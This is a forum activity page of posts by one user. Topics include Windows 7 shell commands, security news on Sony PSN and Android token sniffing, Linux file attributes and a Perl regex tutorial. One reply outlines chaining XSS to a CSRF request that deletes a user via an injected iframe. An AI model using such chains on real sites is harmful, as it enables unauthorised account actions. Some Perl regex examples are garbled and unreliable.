-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
Secure Delete File Unix/Linux
Nytro replied to pyth0n3's topic in Sisteme de operare si discutii hardware
Daca tot te-ai obosit sa pui o intrebare stupida, de ce nu te-ai obosit si sa o gandesti? Hardul e mare, si ai multe date pe el. Si intr-o astfel de zona necunoscuta, dupa ce ai sters un fisier, intr-o zona libera de pe hard se afla fisierul tau sters. Adica acolo, unde e spatiu liber pe hard, in tot acel spatiu liber, pe undeva, se afla fisierul tau. Recuperarea dupa cum, daca gandesti putin, nu e deloc simpla. Trebuie sa parcurgi intreaga zona libera de pe hard si sa verifici ce ar putea fi fisier. Salvarea ar veni de la tipurile de fisiere: daca e fisier text, contine numai date text, si iti poti da seama ca poate reprezenta ceva. Daca e o arhiva, are o structura bine definita si o poti recupera. Daca e o imagine Bitmap sa zicem, primii octeti vor fi "BMP" parca, si poti recupera. Doar ca recuperarea poate sa se faca partial sau deloc, slabe sanse sa se faca o recuperare completa. Bine, lucrurile sunt mai complicate de atat... -
Offtopic. Ce ma intereseaza pe mine ca nu iti convine ce se intampla aici? Nu iti convine, nu citesti. Si nu dai ordine sa se inchida topicul.
-
Huge list of Windows 7 Shell Commands Posted by Paul Foty in April 6th 2009 Shell commands are incredibly useful when creating shortcuts or quickly accessing hard to get to locations. They can be used to pin shortcuts to the Taskbar or just to make your life easier. For those that are preceded by “Shell:” when using them in shortcuts you need to add “explorer.exe” in front of them. It should then look like this: explorer.exe shell:Personal [B]Windows 7 Only[/B] shell:Libraries shell:MusicLibrary shell:VideosLibrary shell:OtherUsersFolder shell:Device Metadata Store shell:PublicSuggestedLocations shell:DocumentsLibrary shell:User Pinned shell:UsersLibrariesFolder shell:PicturesLibrary shell:ImplicitAppShortcuts shell:Ringtones shell:CommonRingtones [B]Windows Vista & 7[/B] shell:Common Programs shell:GameTasks shell:UserProfiles shell:MyComputerFolder shell:SyncSetupFolder shell:DpapiKeys shell:SamplePlaylists shell:Favorites shell:My Video shell:SearchHomeFolder shell:System shell:CommonVideo shell:SyncResultsFolder shell:LocalizedResourcesDir shell:Cookies shell:Original Images shell:CommonMusic shell:My Pictures shell:Cache shell:Downloads shell:CommonDownloads shell:AppData shell:SyncCenterFolder shell:My Music shell:ConflictFolder shell:SavedGames shell:InternetFolder shell:Quick Launch shell:SystemCertificates shell:Contacts shell:TreePropertiesFolder shell:Profile shell:Start Menu shell:Common AppData shell:PhotoAlbums shell:ConnectionsFolder shell:Administrative Tools shell:PrintersFolder shell:Default Gadgets shell:ProgramFilesX86 shell:Searches shell:Common Startup shell:ControlPanelFolder shell:SampleVideos shell:SendTo shell:ResourceDir shell:ProgramFiles shell:CredentialManager shell:PrintHood shell:MAPIFolder shell:CD Burning shell:AppUpdatesFolder shell:Common Start Menu shell:LocalAppDataLow shell:Templates shell:Gadgets shell:Programs shell:Recent shell:SampleMusic shell:Desktop shell:CommonPictures shell:RecycleBinFolder shell:CryptoKeys shell:Common Templates shell:Startup shell:Links shell:OEM Links shell:SamplePictures shell:Common Desktop shell:NetHood shell:Games shell:Common Administrative Tools shell:NetworkPlacesFolder shell:SystemX86 shell:History shell:AddNewProgramsFolder shell:Playlists shell:ProgramFilesCommonX86 shell:PublicGameTasks shell:ChangeRemoveProgramsFolder shell:Public shell:Common Documents shell:CSCFolder shell:Local AppData shell:Windows shell:UsersFilesFolder shell:ProgramFilesCommon shell:Fonts shell:Personal [B]Windows 7 Shortcuts[/B] I compiled the following list with an early Alpha build of Windows 7. It is possible that some of these have changed with newer versions. If you find one that is wrong please let me know so I can correct it. Wireless Networks pop-up rundll32.exe van.dll,RunVAN Advanced Restore sdclt.exe /restorewizardadmin Restore Files sdclt.exe /restorewizard Backup Location & Settings sdclt.exe /configure Add Network Location (wizard) rundll32.exe shwebsvc.dll,AddNetPlaceRunDll Indexing Options control.exe srchadmin.dll Notification Cache rundll32.exe shell32.dll,Options_RunDLL 5 Aero (Transparency) Off Rundll32.exe DwmApi #104 Aero (Transparency) On Rundll32.exe DwmApi #102 Welcome Center rundll32.exe oobefldr.dll,ShowWelcomeCenter Add/Remove Programs RunDll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,0 Content Advisor RunDll32.exe msrating.dll,RatingSetupUI Control Panel RunDll32.exe shell32.dll,Control_RunDLL Date and Time Properties RunDll32.exe shell32.dll,Control_RunDLL timedate.cpl Display Settings RunDll32.exe shell32.dll,Control_RunDLL access.cpl,,3 Device Manager RunDll32.exe devmgr.dll DeviceManager_Execute Folder Options – File Types RunDll32.exe shell32.dll,Control_Options 2 Folder Options – General RunDll32.exe shell32.dll,Options_RunDLL 0 Folder Options – Search RunDll32.exe shell32.dll,Options_RunDLL 2 Folder Options – View RunDll32.exe shell32.dll,Options_RunDLL 7 Forgotten Password Wizard RunDll32.exe keymgr.dll,PRShowSaveWizardExW Hibernate RunDll32.exe powrprof.dll,SetSuspendState Keyboard Properties RunDll32.exe shell32.dll,Control_RunDLL main.cpl @1 Lock Screen RunDll32.exe user32.dll,LockWorkStation Mouse Properties RunDll32.exe shell32.dll,Control_RunDLL main.cpl @0 Map Network Drive RunDll32.exe shell32.dll,SHHelpShortcuts_RunDLL Connect Network Connections RunDll32.exe shell32.dll,Control_RunDLL ncpa.cpl Power Options RunDll32.exe Shell32.dll,Control_RunDLL powercfg.cpl Regional Settings RunDll32.exe shell32.dll,Control_RunDLL intl.cpl,,3 Stored Usernames and Passwords RunDll32.exe keymgr.dll,KRShowKeyMgr System Properties: Advanced RunDll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,4 System Properties: Automatic Updates RunDll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,5 Taskbar Properties RunDll32.exe shell32.dll,Options_RunDLL 1 User Accounts RunDll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl Windows Security Center RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl Windows – About RunDll32.exe SHELL32.DLL,ShellAboutW Unplug/Eject Hardware RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll Windows Firewall RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl Wireless Network Setup RunDll32.exe shell32.dll,Control_RunDLL NetSetup.cpl,@0,WNSW Open Control Panel (All Items) explorer.exe shell:::{21ec2020-3aea-1069-a2dd-08002b30309d} Manage Wireless Networks explorer.exe shell:::{1fa9085f-25a2-489b-85d4-86326eedcd87} Sound Control Playback Tab rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl Sound Control Sounds Tab rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl,,2 Sound Control Recording Tab rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl,,1 Add/Remove Programs rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl Add/Remove Windows Components rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2 Set Program Access and Computer Defaults rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3 People Near Me rundll32.exe shell32.dll,Control_RunDLL collab.cpl People Near Me Sign In Tab rundll32.exe shell32.dll,Control_RunDLL collab.cpl,,1 Screen Resolution rundll32.exe shell32.dll,Control_RunDLL desk.cpl Personalization rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2 Screen Saver rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1 Windows Firewall rundll32.exe shell32.dll,Control_RunDLL firewall.cpl Device Manager rundll32.exe shell32.dll,Control_RunDLL hdwwiz.cpl Power Options rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl Power Options Change Plan Settings rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl,,1 System Properties rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl System Properties Hardware Tab rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2 System Properties Advanced Tab rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3 System Properties System Protection Tab rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,4 System Properties Remote Tab rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,5 Pen and Touch Tablet PC Settings rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl Pen and Touch Tablet PC Settings Flicks Tab rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl,,1 Pen and Touch Tablet PC Settings Handwriting Tab rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl,,2 Phone and Modem Options rundll32.exe shell32.dll,Control_RunDLL telephon.cpl Phone and Modem Options Modems Tab rundll32.exe shell32.dll,Control_RunDLL telephon.cpl,,1 Phone and Modems Options Advanced Tab rundll32.exe shell32.dll,Control_RunDLL telephon.cpl,,2 Date and Time rundll32.exe shell32.dll,Control_RunDLL timedate.cpl Date and Time Additional Clocks rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1 Action Center rundll32.exe shell32.dll,Control_RunDLL wscui.cpl Unplug/Eject Hardware RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll Internet Explorer Specific Commands Delete Temporary Internet Files: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8 Delete Cookies: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2 Delete History: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1 Delete Form Data: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16 Delete Passwords: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32 Delete All: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255 Delete All + files and settings stored by Add-ons: RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351 Miscellaneous Variables Windows Directory %WINDIR% %SYSTEMROOT% Hard Drive That Contains OS %HOMEDRIVE% Users Home Directory %HOMEPATH% %USERPROFILE% Default Temporary Directory %TEMP% %TMP% Program Files %PROGRAMFILES% Current Users Application Data Directory %APPDATA% Sursa: Huge list of Windows 7 Shell Commands | OS Attack
-
Anonymous leaks PSN SSH Logs, Sony is responsible for Data Theft ? 1.) On the Sony servers running the highly outdated Open SSH version 4.4. 2.) Current version is 5.7. For those of Sony for encrypted version are used for more than five years several known security holes. 3.) Sony server running in part to the long-outdated software Apache 2.2.10. 4.) Current version is 2.2.17. The version used by Sony is vulnerable to damaging Internet attacks, such as overload attacks (DDOS). Outdated server software may have caused outage Allowing PSN hackers to enter PlayStation Network stealing more than 100 million user data sets from PSN and SOE. Since the allegation itself isn't exactly new, correct, there are new proofs that this rumor is. Report even claims that Sony lies when it comes to the statement of outdated servers. Computer Bild got an excerpt showing log files that proof that Sony was, as of the hacking attack, using very outdated server software, searchable as OpenSSH 4.4 - current version is 5.7. Back in 2006 there were reports about OpenSSH 3.x and 4.x, and the security issues those versions utilize. But SSH was not the only open door for hackers: Sony used to outdated version of the Apache webserver as well. Apache server was found on Sony's current version is 2.2.10 while 2.2.17. Sun Sony made it easy for hackers to access sensitive data since summer 2009 as there were bug reports about "dangerous security issues" Mentioned in the version, as Hamburger Press states. Guido Alt, spokesman for Sony Germany, told Computer Bild that he was not handed any information about Sony using old server software. But since Anonymous' log files show log-ons to Sony-servers, Sony could seriously be in trouble. Although those logs would not be valid evidence in a court unless Sony approve them, community pressure will become a serious topic to Sony. At least for now, they have to tell the truth - now where logs are handed around the press. Sursa: Anonymous leaks PSN SSH Logs, Sony is responsible for Data Theft ? ~ THN : The Hackers News
-
Facebook Prepares to Launch Bug Bounty Program Facebook is working on setting up a bug bounty program that would encourage security researchers to discover vulnerabilities on its platform and report them responsibly. Mr. Joe Sullivan, Facebook's chief security officer, told us today at the Hack in the Box Amsterdam 2011 security conference that the company is currently testing such a system and hopes to launch it soon. Vulnerability reward programs are not new. In fact, they've been around since the Netscape era. In 2004 Mozilla introduced a bug bounty system for vulnerabilities discovered in Firefox, then last year Google did the same for Chromium, the open source project behind Google Chrome. However, it was Google that began rewarding vulnerabilities found in its web services first, a move that was mirrored by Mozilla a month later. Facebook has a pretty good relationship with security researchers already and many of them are reporting vulnerabilities to the company responsibly. In fact, Facebook is one of the few companies that explicitly state in their official policies that as long as the vulnerability reporter doesn't exploit it to damage the system or compromise the data, it will not take legal action against them or notify the authorities. This might seem common sense to many and it is how most large vendors do act in practice, but Facebook is one of the very few that guarantee it in writing : https://www.facebook.com/security?v=app_6009294086 Bug bounty programs are not only about rewarding researchers, which is an honorable thing to do, but also about drawing security attention towards a particular product or service. Since more people will be interested to poke around it and uncover flaws, the system will become more and more secure and there will be less flaws for cyber criminals to find. No details about the program's possible payouts or rules have been released, but we're hoping the rewards will at least match those offered by Mozilla and Google. Sursa: Facebook Prepares to Launch Bug Bounty Program ! ~ THN : The Hackers News
-
Pe site-ul vulnerabil la XSS, poti pune (prin XSS) un iframe catre "site_csrf.com/pagina.php?sterge_user?id=123" de exemplu, care, neavand o protectie, in cazul vizitarii paginii pe care ai XSS a unui administrator de exemplu, ar fi sters utilizatorul cu id-ul 123. A doua intrebare nu cred ca am inteles-o. Daca prin XSS poti injecta orice cod HTML/JavaScript, nu vei avea nici o limitare, ar fi ca si cum ti-ai face un site si ai pune <iframe> catre site-ul cu CSRF pe el.
-
Daca inchid topicul dau warn la 80% dintre cei care au postat aici, adica si voua, celor care ne dati ordine sa inchidem acest topic.
-
root@rst:/home/nytro# uname -a Linux rst 2.6.39nytro #1 SMP Fri May 20 01:14:36 EEST 2011 i686 GNU/Linux root@rst:/home/nytro# Am uitat sa pun cratima. Sa vedem daca apar probleme... Edit: Super, nu mai am probleme cu airmon-ng, mi-am reinstalat driver-ul (rtl-8192se) si merge perfect, imi place
-
Standard Template Library (STL), 1 of n Stephan T. Lavavej Welcome to another installment of C9 Lectures. In the following series, learn all about STL from the great Stephan T. Lavavej, Microsoft's keeper of the STL cloth (this means he manages the partnership with the owners of STL and Microsoft, including, of course, bug fixes and enhancements to the STL that ships as part of Visual C++). In this first part, Stephan introduces STL and then demonstrates many of its core features (iterators, algorithms, and data structures). As is Stephan's nature, he elaborates on technical details in very substantive way. The Standard Template Library, or STL, is a C++ library of container classes, algorithms, and iterators. STL provides many fundamental algorithms and data structures. The STL is a general purpose library: its components are heavily parameterized such that almost every component in the STL is a template. This is not an introductory series on C++. As such, it is expected that viewers already possess a working knowledge of the C++ language. Go ahead and open VC++ IDE and follow along--there are many examples provided on-screen and Stephan will monitor this thread and answer questions. Enjoy. Learn. Books mentioned by Stephen: The C++ Standard Library: A Tutorial And Reference by Nicolai M. Josuttis Effective STL by Scott Meyers [sTL Introduction lecture links] Part 1 (sequence containers) Part 2 (associative containers) Part 3 (smart pointers) Part 4 (Nurikabe solver) Part 5 (Nurikabe solver, continued) Part 6 (algorithms and functors) Part 7 (algorithms and functors, continued) Part 8 (regular expressions) Part 9 (rvalue references) Part 10 (type traits) Sursa: C9 Lectures: Stephan T. Lavavej - Standard Template Library (STL), 1 of n | Going Deep | Channel 9
-
Google fixing Android Wi-Fi snooping flaw Angela MoscaritoloMay 19, 2011 Google on Wednesday began distributing a patch to address a security flaw in all but the latest versions of its Android mobile operating system. The vulnerability could allow an attacker to snoop on phones used on unencrypted Wi-Fi networks to gain access to calendar and contacts information. “This fix requires no action from users and will roll out globally over the next few days," Google said in a statement sent to SCMagazineUS.com on Thursday The search giant's update forces an HTTPS connection to encrypt traffic from Android devices to Google Calendar and Contacts servers, so an attacker listening in on an unprotected Wi-Fi network cannot intercept the authentication tokens, known as authTokens, used to validate devices. Google's fix is being implemented on the server side, meaning it does not require a software update. Google is still investigating whether the issue affects its Picasa Web Albums service, which reportedly also is affected. In a report released Friday, a team of researchers at Germany's Ulm University revealed that an attacker could use a packet analyzer tool, such as Wireshark, on unencrypted Wi-Fi networks to capture the authTokens used by Android devices when communicating with certain Google services. Once captured, an adversary could use the authToken to gain full access to a user's Calendar and Contacts data. The issue does not affect the latest Android versions, 3.0 for tablets and 2.3.4 for smartphones, but does impact 99.7 percent of all Android smartphones, which use the vulnerable versions 2.3.3 and later, according to Bastian Könings, Jens Nickels and Florian Schaub, the Ulm University researchers who authored the report. Worse, the sniffed Calendar authTokens are potentially valid for two weeks, enabling adversaries to capture the tokens, then make use of them at different times and locations, the researchers said. The issue involves the ClientLogin authentication protocol, which allows users to gain access to their Google Calendar or Contacts account from inside the corresponding Android application. To access these services, the installed application makes a ClientLogin call to Google's authorization service and provides the user's login credentials. Upon successful login, Google provides the application with an authToken that can be used to access the requested data. It is “possible and quite easy” to launch such an attack against Google Calendar, Contacts and Picasa Web Albums service, they added. Because the issue does not reside in the Android platform itself, Google does not have to rely on its carriers to deliver the fix, which is rolling out over the next several days. In the meantime, researchers cautioned users to avoid accessing affected apps on open Wi-Fi networks. Joe Pappano, vice president of technical services at mobile device management company Fiberlink, told SCMagazineUS.com in an email Thursday that this flaw does not necessarily pose a significant risk to enterprises but it brings to mind a fundamental security concern involving the Android devices. “Most companies are taking a wait-and-see approach to Android adoption,” he said. "The primary reason why companies are concerned about large-scale Android deployments is due to how powerless they are to address significant Android vulnerabilities.” Sursa: Google fixing Android Wi-Fi snooping flaw - SC Magazine US
-
Advanced File Permissions (extended attributes)
Nytro replied to pyth0n3's topic in Tutoriale in engleza
nytro@rst:/tmp/test$ echo "Plm" > plm nytro@rst:/tmp/test$ ls plm nytro@rst:/tmp/test$ chattr +i plm chattr: Operation not permitted while setting flags on plm nytro@rst:/tmp/test$ su Password: root@rst:/tmp/test# chattr +i plm root@rst:/tmp/test# rm plm rm: cannot remove `plm': Operation not permitted root@rst:/tmp/test# ls -la total 12 drwxr-xr-x 2 nytro nytro 4096 2011-05-20 01:18 . drwxrwxrwt 13 root root 4096 2011-05-20 01:17 .. -rw-r--r-- 1 nytro nytro 4 2011-05-20 01:18 plm root@rst:/tmp/test# lsattr plm ----i------------e- plm root@rst:/tmp/test# chattr +A plm root@rst:/tmp/test# lsattr plm ----i--A---------e- plm root@rst:/tmp/test# cat plm Plm root@rst:/tmp/test# ls -la total 16 drwxr-xr-x 2 nytro nytro 4096 2011-05-20 01:20 . drwxrwxrwt 13 root root 4096 2011-05-20 01:20 .. -rw-r--r-- 1 nytro nytro 4 2011-05-20 01:18 plm root@rst:/tmp/test# touch plm touch: cannot touch `plm': Permission denied root@rst:/tmp/test# Pentru +A, nu se poate modifica data ultimei accesari. Si eu nu am "+XEZ" root@rst:/tmp/test# chattr +Z plm Usage: chattr [-RVf] [-+=AacDdeijsSu] [-v version] files... Dar imi place -
AntiDebugging - A developpers view Tyler Shields tshields @ veracode.com Veracode Inc., USA 4 Van de Graaff Drive, Burlington, MA 01803 Abstract Anti-debugging is the implementation of one or more techniques within computer code that hinders attempts at reverse engineering or debugging a target binary. Within this paper we will present a number of the known methods of antidebugging in a fashion that is easy to implement for a developer of moderate expertise. We will include source code, whenever possible, with a line by line explanation of how the antidebugging technique operates. The goal of the paper is to educate development teams on anti-debugging methods and to ease the burden of implementation. Keywords— anti-debugging, security, debugging, copy protection, anti-piracy, reverse engineering. I. INTRODUCTION Anti-debugging, when implemented properly, can be a significant deterrence to would be reverse engineers and software pirates. There is no foolproof solution to thwart the dedicated reverse engineer; however, making the task as arduous and difficult as possible increases the time and expertise required for full analysis of the binary application. Application developers should not be required to spend significant amounts of time understanding and examining the specifics of a software protection scheme. Straight forward implementation of a best of breed solution helps to achieve the aforementioned goals while leaving the developer additional time to implement features and other necessary application components. The majority of data on the topic of anti-debugging has been presented from the vantage point of a reverse engineer. Anti-debugging methods typically have been presented in assembly language dumps with minimal explanation as to the high level code constructs involved in the technique. Unless the developer is adept at reading and comprehending assembly language code, the anti-debugging method is incomprehensible and thus will not be implemented. The goal of this paper is to present a number of antidebugging methods in an easy to comprehend manner. The average developer should be able to read this paper, grasp the concepts described, and readily use the source code provided to implement a myriad of different anti-debugging methods. Education of the developer will lead to a stronger understanding of the basic anti-debugging methods that can be used to limit the effectiveness of a reverse engineer’s primary tool, the debugger. Download: http://www.veracode.com/images/pdf/whitepaper_antidebugging.pdf
-
Advanced File Permissions (extended attributes)
Nytro replied to pyth0n3's topic in Tutoriale in engleza
Foarte util, mai ales acel atributele "a-c-i-s" Deci daca setez "+s", cand sterg un fisier, pe langa faptul ca va fi sters din ierarhia de fisiere, spatiul ocupat pe hard va fi setat la 0? Adica datele nu vor mai putea fi "recuperate". -
Linux-ul nu mai e de mult timp "greu de folosit". Acum ai GUI pentru orice rahat, dai 2 click-uri si ai facut o gramada de chestii... Orice actiune se face foarte usor. Ex. "Click dreapta > Extract here" in loc de "bunzip2 -c | tar xf arhiva.tar.bz2" sau "gunzip -c | tar xf arhiva.tar.gz"... Nu iti face griji, o sa te descurci.
-
A Beginner's Introduction to Perl 5.10, Part 3 By chromatic June 26, 2008 The first two articles in this series (A Beginner's Introduction to Perl 5.10 and A Beginner's Introduction to Files and Strings in Perl 5.10) covered flow control, math and string operations, and files. (A Beginner's Introduction to Perl Web Programming demonstrates how to write secure web programs.) Now it's time to look at Perl's most powerful and interesting way of playing with strings, regular expressions, or regexes for short. The rule is this: after the 50th time you type "regular expression", you find you type "regexp" ever after. Regular expressions are complex enough that you could write a whole book on them (Mastering Regular Expressions by Jeffrey Friedl). Simple matching The simplest regular expressions are matching expressions. They perform tests using keywords like if, while and unless. If you want to be really clever, you can use them with and and or. A matching regexp will return a true value if whatever you try to match occurs inside a string. To match a regular expression against a string, use the special =~ operator: use 5.010; my $user_location = "I see thirteen black cats under a ladder."; say "Eek, bad luck!" if $user_location =~ /thirteen/; Notice the syntax of a regular expression: a string within a pair of slashes. The code $user_location =~ /thirteen/ asks whether the literal string thirteen occurs anywhere inside $user_location. If it does, then the test evaluates true; otherwise, it evaluates false. Metacharacters A metacharacter is a character or sequence of characters that has special meaning. You may remember metacharacters in the context of double-quoted strings, where the sequence \n means the newline character, not a backslash and the character n, and where \t means the tab character. Regular expressions have a rich vocabulary of metacharacters that let you ask interesting questions such as, "Does this expression occur at the end of a string?" or "Does this string contain a series of numbers?" The two simplest metacharacters are ^ and $. These indicate "beginning of string" and "end of string," respectively. For example, the regexp /^Bob/ will match "Bob was here," "Bob", and "Bobby." It won't match "It's Bob and David," because Bob doesn't occur at the beginning of the string. The $ character, on the other hand, matches at the end of a string. The regexp /David$/ will match "Bob and David," but not "David and Bob." Here's a simple routine that will take lines from a file and only print URLs that seem to indicate HTML files: for my $line (<$urllist>) { # "If the line starts with http: and ends with html...." print $line if $line =~ /^http:/ and $line =~ /html$/; } Another useful set of metacharacters is called wildcards. If you've ever used a Unix shell or the Windows DOS prompt, you're familiar with wildcards characters such * and ?. For example, when you type ls a*.txt, you see all filenames that begin with the letter a and end with .txt. Perl is a bit more complex, but works on the same general principle. In Perl, the generic wildcard character is .. A period inside a regular expression will match any character, except a newline. For example, the regexp /a.b/ will match anything that contains a, another character that's not a newline, followed by b -- "aab," "a3b," "a b," and so forth. To match a literal metacharacter, escape it with a backslash. The regex /Mr./ matches anything that contains "Mr" followed by another character. If you only want to match a string that actually contains "Mr.," use /Mr\./. On its own, the . metacharacter isn't very useful, which is why Perl provides three wildcard quantifiers: +, ? and *. Each quantifier means something different. The + quantifier is the easiest to understand: It means to match the immediately preceding character or metacharacter one or more times. The regular expression /ab+c/ will match "abc," "abbc," "abbbc", and so on. The * quantifier matches the immediately preceding character or metacharacter zero or more times. This is different from the + quantifier! /ab*c/ will match "abc," "abbc," and so on, just like /ab+c/ did, but it'll also match "ac," because there are zero occurences of b in that string. Finally, the ? quantifier will match the preceding character zero or one times. The regex /ab?c/ will match "ac" (zero occurences of and "abc" (one occurence of . It won't match "abbc," "abbbc", and so on. The URL-matching code can be more concise with these metacharacters. This'll make it more concise. Instead of using two separate regular expressions (/^http:/ and /html$/), combine them into one regular expression: /^http:.+html$/. To understand what this does, read from left to right: This regex will match any string that starts with "http:" followed by one or more occurences of any character, and ends with "html". Now the routine is: for my $line (<$urllist>) { print $line if $line =~ /^http:.+html$/; } Remember the /^something$/ construction -- it's very useful! Character classes The special metacharacter, ., matches any character except a newline. It's common to want to match only specific types of characters. Perl provides several metacharacters for this. \d matches a single digit, \w will match any single "word" character (a letter, digit or underscore), and \s matches a whitespace character (space and tab, as well as the \n and \r characters). These metacharacters work like any other character: You can match against them, or you can use quantifiers like + and *. The regex /^\s+/ will match any string that begins with whitespace, and /\w+/ will match a string that contains at least one word. (Though remember that Perl's definition of "word" characters includes digits and the underscore, so whether you think _ or 25 are words, Perl does!) One good use for \d is testing strings to see whether they contain numbers. For example, you might need to verify that a string contains an American-style phone number, which has the form 555-1212. You could use code like this: use 5.010; say "Not a phone number!" unless $phone =~ /\d\d\d-\d\d\d\d/; All those \d metacharacters make the regex hard to read. Fortunately, Perl can do better. Use numbers inside curly braces to indicate a quantity you want to match: use 5.010; say "Not a phone number!" unless $phone =~ /\d{3}-\d{4}/; The string \d{3} means to match exactly three numbers, and \d{4} matches exactly four digits. To use a range of numbers, you can separate them with a comma; leaving out the second number makes the range open-ended. \d{2,5} will match two to five digits, and \w{3,} will match a word that's at least three characters long. You can also invert the \d, \s and \w metacharacters to refer to anything but that type of character. \D matches nondigits; \W matches any character that isn't a letter, digit, or underscore; and \S matches anything that isn't whitespace. If these metacharacters won't do what you want, you can define your own. You define a character class by enclosing a list of the allowable characters in square brackets. For example, a class containing only the lowercase vowels is [aeiou]. /b[aeiou]g/ will match any string that contains "bag," "beg," "big," "bog", or "bug". Use dashes to indicate a range of characters, like [a-f]. (If Perl didn't give us the \d metacharacter, we could do the same thing with [0-9].) You can combine character classes with quantifiers: use 5.010; say "This string contains at least two vowels in a row." if $string =~ /[aeiou]{2}/; You can also invert character classes by beginning them with the ^ character. An inverted character class will match anything you don't list. [^aeiou] matches every character except the lowercase vowels. (Yes, ^ can also mean "beginning of string," so be careful.) Flags By default, regular expression matches are case-sensitive (that is, /bob/ doesn't match "Bob"). You can place flags after a regexp to modify their behaviour. The most commonly used flag is i, which makes a match case-insensitive: use 5.010; my $greet = "Hey everybody, it's Bob and David!"; say "Hi, Bob!" if $greet =~ /bob/i; Subexpressions You might want to check for more than one thing at a time. For example, you're writing a "mood meter" that you use to scan outgoing e-mail for potentially damaging phrases. Use the pipe character | to separate different things you are looking for: use 5.010; # In reality, @email_lines would come from your email text, # but here we'll just provide some convenient filler. my @email_lines = ("Dear idiot:", "I hate you, you twit. You're a dope.", "I bet you mistreat your llama.", "Signed, Doug"); for my $check_line (@email_lines) { if ($check_line =~ /idiot|dope|twit|llama/) { say "Be careful! This line might contain something offensive:\n$check_line"; } The matching expression /idiot|dope|twit|llama/ will be true if "idiot," "dope," "twit" or "llama" show up anywhere in the string. One of the more interesting things you can do with regular expressions is subexpression matching, or grouping. A subexpression is another, smaller regex buried inside your larger regexp within matching parentheses. The string that caused the subexpression to match will be stored in the special variable $1. This can make your mood meter more explicit about the problems with your e-mail: for my $check_line (@email_lines) { if ($check_line =~ /(idiot|dope|twit|llama)/) { say "Be careful! This line contains the offensive word '$1':\n$check_line"; } Of course, you can put matching expressions in your subexpression. Your mood watch program can be extended to prevent you from sending e-mail that contains more than three exclamation points in a row. The special {3,} quantifier will make sure to get all the exclamation points. for my $check_line (@email_lines) { if ($check_line =~ /(!{3,})/) { say "Using punctuation like '$1' is the sign of a sick mind:\n$check_line"; } } If your regex contains more than one subexpression, the results will be stored in variables named $1, $2, $3 and so on. Here's some code that will change names in "lastname, firstname" format back to normal: my $name = 'Wall, Larry'; $name =~ /(\w+), (\w+)/; # $1 contains last name, $2 contains first name $name = "$2 $1"; # $name now contains "Larry Wall" You can even nest subexpressions inside one another -- they're ordered as they open, from left to right. Here's an example of how to retrieve the full time, hours, minutes and seconds separately from a string that contains a timestamp in hh:mm:ss format. (Notice the use of the {1,2} quantifier to match a timestamp like "9:30:50".) my $string = "The time is 12:25:30 and I'm hungry."; if ($string =~ /((\d{1,2})\d{2})\d{2}))/) { my @time = ($1, $2, $3, $4); } Here's a hint that you might find useful: You can assign to a list of scalar values whenever you're assigning from a list. If you prefer to have readable variable names instead of an array, try using this line instead: my ($time, $hours, $minutes, $seconds) = ($1, $2, $3, $4); Assigning to a list of variables when you're using subexpressions happens often enough that Perl gives you a handy shortcut. In list context, a successful regular expression match returns its captured variables in the order in which they appear within the regexp: my ($time, $hours, $minutes, $seconds) = $string =~ /((\d{1,2})\d{2})\d{2}))/; Counting parentheses to see where one group begins and another group ends is troublesome though. Perl 5.10 added a new feature, lovingly borrowed from other languages, where you can give names to capture groups and access the captured values through the special hash %+. This is most obvious by example: my $name = 'Wall, Larry'; $name =~ /(?<last>\w+), (?<first>\w+)/; # %+ contains all named captures $name = "$+{last} $+{first}"; # $name now contains "Larry Wall" There's a common mistake related to captures, namely assuming that $1 and %+ et al will hold meaningful values if the match failed: my $name = "Damian Conway"; # no comma, so the match will fail! $name =~ /(?<last>\w+), (?<first>\w+)/; # and there's nothing in the capture buffers $name = "$+{last} $+{first}"; # $name now contains a blank space Always check the success or failure of your regular expression when working with captures! my $name = "Damian Conway"; $name = "$+{last} $+{first}" if $name =~ /(?<last>\w+), (?<first>\w+)/; Watch out! Regular expressions have two othertraps that generate bugs in your Perl programs: They always start at the beginning of the string, and quantifiers always match as much of the string as possible. Here's some simple code for counting all the numbers in a string and showing them to the user. It uses while to loop over the string, matching over and over until it has counted all the numbers. use 5.010; my $number = "Look, 200 5-sided, 4-colored pentagon maps."; my $number_count = 0; while ($number =~ /(\d+)/) { say "I found the number $1.\n"; $number_count++; } say "There are $number_count numbers here.\n"; This code is actually so simple it doesn't work! When you run it, Perl will print I found the number 200 over and over again. Perl always begins matching at the beginning of the string, so it will always find the 200, and never get to the following numbers. You can avoid this by using the g flag with your regex. This flag will tell Perl to remember where it was in the string when it returns to it (due to a while loop). When you insert the g flag, the code becomes: use 5.010; my $number = "Look, 200 5-sided, 4-colored pentagon maps."; my $number_count = 0; while ($number =~ /(\d+)/g) { say "I found the number $1.\n"; 